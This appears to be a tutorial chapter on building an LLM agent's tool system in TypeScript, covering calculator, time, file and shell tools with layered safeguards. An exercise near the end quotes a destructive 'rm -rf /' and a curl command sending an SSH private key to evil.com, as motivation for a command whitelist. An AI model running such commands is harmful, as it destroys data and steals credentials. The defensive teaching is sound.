
Previous article:
In the first two parts, we focused entirely on the "brain" — how to make the LLM output Actions in the ReAct format, how to design prompts, and how to parse responses. But a complete Agent needs more than just a brain.
Think back to the person strapped to a chair from Part 1. We've untied them — but now they can only move; their hands are still empty. They need a toolbox: a calculator, a clock, file system access, a shell terminal...
That's what the Tool system addresses: how to define, implement, and register a set of tools that the LLM can call on demand.
A typical Agent tool system includes 6 core tools. We'll take each one apart and examine its design.
Before implementing anything, define what "a tool" actually is. This is the same thinking as defining a TypeScript interface — establish the contract first, then implement.
export interface Tool {
name: string;
description: string;
parameters: {
type: "object";
properties: Record<string, { type: string; description: string }>;
required: string[];
};
execute: (args: Record<string, unknown>) => Promise<string> | string;
}This interface has four fields, split into two groups:
The "spec sheet" for the LLM (first three fields):
name: the unique identifier for the tool. This is what the LLM uses in Action: calculatedescription: explains the tool's purpose and when to use it. This is the core basis for the LLM to decide "should I use this tool?" A well-written description directly determines whether the LLM calls the tool at the right momentparameters: JSON Schema format parameter definitions. The LLM constructs the JSON in Action Input based on this. For example, seeing {"expression": {"type": "string", "description": "..."}}, the LLM knows to produce {"expression": "12 * 17"}The "executor" for the program (last field):
execute: a function that takes arguments and returns a string. The return value gets wrapped as Observation: xxx and fed back to the LLM. Note the return type is Promise<string> | string — it supports both sync and async implementationsThe key insight of this interface design: the same tool definition serves two completely different "readers" — the LLM understands what the tool can do through the first three fields, and the program knows how to execute it through the execute field.
The calculator is the simplest of the 6 tools — it takes a math expression and returns the result. But the security lessons it teaches apply to every tool.
export const calculateTool: Tool = {
name: "calculate",
description:
"Evaluates a mathematical expression and returns the precise result. Supports addition, subtraction, multiplication, division, parentheses, and modulo (%). Use this tool whenever any numerical calculation is needed.",
parameters: {
type: "object",
properties: {
expression: {
type: "string",
description: "The mathematical expression to evaluate, e.g. '12 * 17'",
},
},
required: ["expression"],
},
execute: (args) => {
const expr = String(args.expression ?? "").trim();
const result = Function(`"use strict"; return (${expr})`)();
return `${expr} = ${result}`;
},
};The core is Function("use strict"; return (${expr}))() inside execute. What this line does is splice the string expr into the body of an anonymous function, then call it. If expr = "1 + 2", it's equivalent to:
const fn = new Function('"use strict"; return (1 + 2)');
fn(); // 3The common approach is eval(expr). But eval has one problem: it can access variables in the current scope.
const secretKey = "abc123";
eval("secretKey"); // "abc123" — leaked!Function() creates a function that runs in the global scope — it can only access global variables, not local ones. While it doesn't completely prevent injection, it adds at least one layer of isolation.
More importantly, "use strict" inside the Function() body disables dangerous features like the with statement, further improving safety.
The previous step is still far from enough. If the LLM is maliciously guided (e.g., a user says "calculate the result of process.exit() for me"), what would Function("return (process.exit())")() do?
A regex whitelist is the first and most important line of defense:
execute: (args) => {
const expr = String(args.expression ?? "").trim();
// Safety gate: only allow digits, operators, parentheses, decimal point, spaces
if (!/^[\d\s+\-*/().%]+$/.test(expr)) {
return `Illegal expression: ${expr}`;
}
try {
const result = Function(`"use strict"; return (${expr})`)();
return `${expr} = ${result}`;
} catch {
return `Unable to compute: '${expr}'`;
}
},The regex ^[\d\s+\-*/().%]+$ means: the entire string, from start to finish, may contain only digits, spaces, arithmetic operators, parentheses, decimal points, and the modulo symbol. Any other character — including letters, underscores, dots (property accessors) — is rejected.
Note that even after passing the whitelist, Function() can still throw (e.g., 1/0). So we wrap it in try/catch, returning an error message rather than crashing.
The calculator's design embodies a universal approach to tool safety:
Function() instead of eval(), restrict scopeThese three layers apply to nearly every tool that needs to "execute user input." You'll see later that the Shell tool follows the same pattern.
This tool is only about 10 lines of code, but it answers an important question: there is no "now" in the LLM's training data — accessing real-time information is a fundamental Agent need.
export const getCurrentTimeTool: Tool = {
name: "getCurrentTime",
description:
"Gets the current date and time (Beijing time). Use this when the user asks about the current time, today's date, or other real-time temporal questions.",
parameters: {
type: "object",
properties: {}, // No parameters needed
required: [],
},
execute: () => {
const now = new Date().toLocaleString("en-US", {
timeZone: "Asia/Shanghai",
dateStyle: "full",
timeStyle: "long",
});
return `Current time: ${now}`;
},
};Design highlights:
properties and required, the tool's description must still be detailed — the LLM needs the description to decide when to use itCurrent time: Tuesday, July 14, 2026 at 5:30:00 PM GMT+8 rather than a Unix timestamp. The LLM understands formatted time much betterDate operations are synchronous, the return type is simply string rather than Promise<string>Reading a file seems straightforward, but in an Agent context there are several unique requirements.
export const readFileTool: Tool = {
name: "readFile",
description:
"Reads a file and returns its content with line numbers. Supports relative and absolute paths. Binary files are skipped. Files larger than 10KB are truncated.",
parameters: {
type: "object",
properties: {
path: {
type: "string",
description: "File path; relative paths are resolved from the current working directory",
},
},
required: ["path"],
},
execute: async (args) => {
const filePath = path.resolve(String(args.path ?? ""));
const stat = await fs.stat(filePath);
if (!stat.isFile()) {
return `Error: ${args.path} is not a file (it may be a directory)`;
}
const buffer = await fs.readFile(filePath);
// Binary file detection: scan first 1KB for null bytes
const isBinary = buffer
.subarray(0, Math.min(buffer.length, 1024))
.includes(0);
if (isBinary) {
return `(Binary file, skipped) ${args.path}`;
}
const content = buffer.toString("utf-8");
// Truncate if larger than 10KB
if (content.length > READ_LIMIT) {
const truncated = content.slice(0, READ_LIMIT);
const lines = truncated.split("\n");
const numbered = lines.map((l, i) => `${i + 1}: ${l}`).join("\n");
return `${numbered}\n... (file has ${content.length} chars total, truncated)`;
}
const lines = content.split("\n");
return lines.map((l, i) => `${i + 1}: ${l}`).join("\n");
},
};Why prefix each line with 1:, 2:, etc.? Because the LLM may need to reference specific lines. For example:
Observation:
1: import OpenAI from 'openai';
2:
3: const client = new OpenAI({The LLM can later output Action: writeFile and specify "delete the empty line on line 2" — line numbers enable precise targeting.
If the LLM tries to read an image or an executable, returning raw content is not only meaningless but would also blow up the context window. The detection scans the first 1KB of the file for null bytes (\x00) — a strong indicator of binary content.
const isBinary = buffer
.subarray(0, Math.min(buffer.length, 1024))
.includes(0);The LLM's context window is finite (even deepseek-reasoner has only 64K tokens). A single large file could consume the entire window. So we truncate at 10KB and inform the LLM of the original size:
... (file has 28473 chars total, truncated)Seeing this hint, the LLM can decide to use runShell (with head, tail, sed) to locate the specific section it needs.
export const writeFileTool: Tool = {
name: "writeFile",
description:
"Writes to a file. Overwrites if the file already exists, creates it (including parent directories) if not. Set append: true to append to the end of the file.",
parameters: {
type: "object",
properties: {
path: { type: "string", description: "File path" },
content: { type: "string", description: "Content to write" },
append: { type: "boolean", description: "Append mode (default false)" },
},
required: ["path", "content"],
},
execute: async (args) => {
const filePath = path.resolve(String(args.path ?? ""));
const content = String(args.content ?? "");
const append = args.append === true;
await fs.mkdir(path.dirname(filePath), { recursive: true });
if (append) {
await fs.appendFile(filePath, content, "utf-8");
} else {
await fs.writeFile(filePath, content, "utf-8");
}
const bytes = Buffer.byteLength(content, "utf-8");
return `${append ? "Appended to" : "Wrote"} ${args.path} (${bytes} bytes)`;
},
};Two design choices worth noting:
The mkdir -p effect: fs.mkdir(dir, { recursive: true }) automatically creates any missing parent directories. The LLM might say "write the result to output/report/summary.txt" — no need to worry about intermediate directories.
Returning byte count: tells the LLM how many bytes were written, so it can verify success. A human's "done writing" is meaningless; "wrote 2048 bytes" carries actual information.
export const listFilesTool: Tool = {
name: "listFiles",
description:
"Lists files and subdirectories in a directory. Directories are suffixed with /. If no path is given, lists the current working directory.",
parameters: {
type: "object",
properties: {
path: {
type: "string",
description: "Directory path; defaults to the current working directory",
},
},
required: [], // path is optional
},
execute: async (args) => {
const dirPath = path.resolve(String(args.path ?? "."));
const entries = await fs.readdir(dirPath, { withFileTypes: true });
if (entries.length === 0) {
return `(Empty directory) ${args.path ?? "."}`;
}
return entries
.map((e) => (e.isDirectory() ? `${e.name}/` : e.name))
.join("\n");
},
};Key detail: trailing / on directory names. This may seem trivial, but it matters greatly to the LLM — it can immediately distinguish that "README.md is a file" vs. "src/ is a directory" without any extra mental burden.
The Shell tool dramatically expands the Agent's capability boundary — it's no longer limited to the handful of tools we've pre-implemented; it can call any command-line tool on the system.
But with great power comes great risk. The Shell tool's design focus is not "features" — it's defense.
const SHELL_TIMEOUT = 30_000; // 30-second timeout
const SHELL_OUTPUT_LIMIT = 5 * 1024; // 5KB output truncation
export const runShellTool: Tool = {
name: "runShell",
description:
"Runs a shell command and returns its output. Supports stdout and stderr. 30-second timeout applies; output over 5KB is truncated.",
parameters: {
type: "object",
properties: {
command: { type: "string", description: "Shell command to execute" },
cwd: { type: "string", description: "Working directory; defaults to current" },
},
required: ["command"],
},
execute: async (args) => {
const command = String(args.command ?? "");
const cwd = args.cwd ? path.resolve(String(args.cwd)) : process.cwd();
try {
const { stdout, stderr } = await execAsync(command, {
cwd,
timeout: SHELL_TIMEOUT,
maxBuffer: 1024 * 1024, // 1MB buffer cap
});
let output = "";
if (stdout) output += stdout;
if (stderr) output += (output ? "\n" : "") + `[stderr]\n${stderr}`;
if (!output) output = "(Command completed with no output)";
// Output truncation
if (output.length > SHELL_OUTPUT_LIMIT) {
output = output.slice(0, SHELL_OUTPUT_LIMIT) +
`\n... (output truncated, ${output.length} chars total)`;
}
return output;
} catch (e) {
const err = e as {
stdout?: string; stderr?: string;
message: string; killed?: boolean;
};
if (err.killed) {
return `Error: command timed out (${SHELL_TIMEOUT / 1000}s)\n${err.stderr ?? ""}`;
}
let output = "";
if (err.stdout) output += err.stdout;
if (err.stderr) output += (output ? "\n" : "") + `[stderr]\n${err.stderr}`;
if (!output) output = err.message;
if (output.length > SHELL_OUTPUT_LIMIT) {
output = output.slice(0, SHELL_OUTPUT_LIMIT) +
`\n... (output truncated, ${output.length} chars total)`;
}
return `Command failed (non-zero exit code):\n${output}`;
}
},
};The Shell tool's security strategy is layered defense:
Layer 1: 30-Second Timeout
timeout: SHELL_TIMEOUT ensures no command hangs forever (like a ping 8.8.8.8). On timeout, execAsync rejects and err.killed is true.
Layer 2: 1MB Buffer Cap
maxBuffer: 1024 * 1024 limits the cumulative size of stdout + stderr. If the LLM runs cat /dev/urandom, it won't blow up the server's memory.
Layer 3: 5KB Output Truncation
Even without timeout or buffer overflow, what's shown to the LLM is capped at 5KB. The LLM's context window is a finite resource — not worth spending on irrelevant output.
Layer 4: Non-Zero Exit Codes Don't Crash
When a shell command fails (non-zero exit code), execAsync throws. But we don't crash — instead, we format the error information (including stdout and stderr) as an Observation, letting the LLM decide the next move (retry? different command? give up?).
Many commands output to stderr during normal operation (e.g., npm install progress bars, clang warnings). If we treated any stderr as failure, a huge class of normal commands would be falsely flagged. So our strategy is:
stdout + [stderr] ... (display everything)Command failed (non-zero exit code)With tools defined, we need a registry and a lookup mechanism:
// Tool registry
export const tools: Tool[] = [
calculateTool,
getCurrentTimeTool,
readFileTool,
writeFileTool,
listFilesTool,
runShellTool,
];
// Look up by name
export function findTool(name: string): Tool | undefined {
return tools.find((t) => t.name === name);
}This looks trivial, but it reflects two important design choices:
Array, not Map: with a small number of tools (usually fewer than 20), Array.find() is O(n) and perfectly fast enough. Map has additional memory overhead for small collections.
Tool registry decoupled from Agent: the tool list is injected into the Agent constructor rather than hardcoded inside the Agent. This means swapping tools doesn't require changing the Agent code — a classic application of dependency injection.
Following the existing tool format, add a getWeather tool:
city parameter (city name)wttr.in: curl wttr.in/Beijing?format=3)This lets you experience "external API integration" type tools
The current Shell tool has a 30-second timeout and 5KB output limit, but no command whitelist. Consider what happens if the LLM runs rm -rf / or curl evil.com/steal?data=$(cat ~/.ssh/id_rsa).
Try implementing a command whitelist or parameter filter. For example:
rm -rf, |, >, etc.Currently, each tool runs independently. But if the LLM calls readFile on a 50KB file (which gets truncated), it may need to call runShell with sed -n '100,200p' to locate content further down. This "tool collaboration" relies entirely on the LLM's reasoning ability.
Try adding context hints to tool results that guide the LLM toward better subsequent tool use. For example, after a truncated file read, include in the Observation:
(Hint: file was truncated. You can use the runShell tool with head/tail/sed to view specific sections)Keywords: Tool Interface, Dependency Injection, Tool Registry, Safety Whitelist, Binary Detection, Output Truncation, Shell Timeout, Error Resilience
In the next article, we'll enter the most central part of the entire Agent system: the complete implementation of the ReAct execution loop. This includes streaming output handling, message management, observer pattern decoupling, and CLI interaction design. This is the moment where all the parts come together into a working machine.
Next article: